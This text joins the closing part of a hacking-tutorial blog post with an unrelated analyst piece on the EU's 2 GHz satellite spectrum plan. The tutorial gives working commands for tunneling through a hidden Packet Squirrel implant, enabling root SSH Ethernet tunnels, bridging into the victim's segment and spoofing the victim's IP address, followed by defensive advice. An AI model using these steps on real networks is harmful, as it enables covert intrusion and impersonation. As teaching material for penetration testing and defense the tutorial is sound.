This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:

kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10
getting network access to the local network via the hidden device
Gaining network access to the local network where the hardware implant is placed

The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.

To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.

L2 Access

To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:

/etc/ssh/sshd_config

PermitRootLogin yes
PermitTunnel ethernet

Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:

kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up
connecting to the device

The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:

kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1

Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:

Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24

A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.

Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.

How to Defend

Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.

Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.

Summary

We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.

If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.

The post Persistence: Building a Small Ethernet Persistence Device, Part 2 first appeared on Hackers Arise.

EU Proposal for MSS Spectrum Seeks to Balance Bloc’s Commercial and Sovereignty Aspirations

1 July 2026 at 13:04
I. Patel

Summary Bullets:

  • The EU’s MSS 2 GHz proposal strengthens regulation, security, and competition, but implementation through 2027–2029 will be phased, not immediate.
  • Small spectrum block sizes favor IoT, messaging, emergency services; large-bandwidth applications face bottlenecks.

When the European Commission unveiled its plan late last month to reassign the 2 GHz mobile satellite service (MSS) spectrum at EU-level, it initiated more than a regulatory proposal. With the dust now settled on the announcement, it is clear that this represents a geopolitical and commercial realignment. Signals in the market suggest the framework is firming up around core principles: sovereignty, security, restricted eligibility, spectrum caps, and wholesale access. But beneath those pillars lies a battlefield of interests that will define not just who wins licenses, but which services Europe values the most – IoT or in-flight broadband, messaging or full-fledged device-to-device (D2D) connectivity.

Implementation is no longer a reactive guesswork exercise; it is becoming a long game. While the proposal’s two-year incumbency extension mitigates the cliff edge in May 2027 (when existing licenses expire), it also reveals the commission’s understanding: that legislative processes, spectrum allocation, compliance criteria, and defining “EU provider” are unlikely to be resolved by that deadline. Toward end-2027 and into 2028, observers should expect spectrum awards, provisional licenses, and a cascade of certification, rollouts, and enforcement activities stretching well into 2029. This also coincides with ITU’s WRC-27 conference, in which key spectrum allocations – including MSS – and updates to radio regulations are expected to be finalized and will offer clarity on the international trajectory of spectrum allocations for MSS.

Commercial implications are now emerging with greater clarity. The planned 30 MHz paired allocation in 5 + 5 MHz blocks is modest; sufficient for low-bandwidth IoT, messaging, and emergency services, yet wholly inadequate for high-throughput, low-latency use cases such as in-flight broadband or widespread D2D applications. Telcos and satellite operators should be preparing for trade-offs: either focus on niche verticals where limited spectrum suffices, or scale via partnerships, capacity leasing, or wholesale models. The missing “IoT reservation” is not a bug; rather, it is a structural risk: IoT may get parceled out only where extra capacity exists, and only if stakeholders ensure selection criteria explicitly to protect it. D2D has won primacy as per the initial tone of the Commission in its press release.

Definitions will matter, especially in the case of the term “EU Provider,” which is morphing into a fulcrum for competition. The 2 GHz is currently occupied by two US firms: Viasat for European inflight connectivity, and EchoStar for IoT and mobile connectivity. Post-May 2027, such entities will need to operate through European-owned subsidiaries or JVs. AST SpaceMobile has already localized itself via Satellite Connect Europe and is expected to qualify. But expectation of strict control over decision-making, governance, and spectrum transfer will push non-EU-based providers – SpaceX (which owns EchoStar spectrum), Viasat, and Amazon Leo – to engineer complex JV structures or seek regulatory exemption. In the case of the latter, GlobalData expects both litigation and political pressure from incumbents based in the US, particularly via the US government or trade bodies, and especially within the incumbent Trump administration window. Retaliation against European satcos is also a possibility, though it is unlikely that the bloc will collectively budge.

For telcos, the strategic moment is now. Whether to bid directly, partner with incumbents, or secure wholesale access depends on scale, access to capital, regulatory risk appetite, and technical readiness. Device certification, security compliance, antenna deployment, and supply chain capacity remain gating factors. By late-2028, the winners will be those who have not only secured licenses or partnerships, but who align with the EU’s overriding narrative: resilience, sovereignty, and competition.

The post EU Proposal for MSS Spectrum Seeks to Balance Bloc’s Commercial and Sovereignty Aspirations appeared first on IT Connection.

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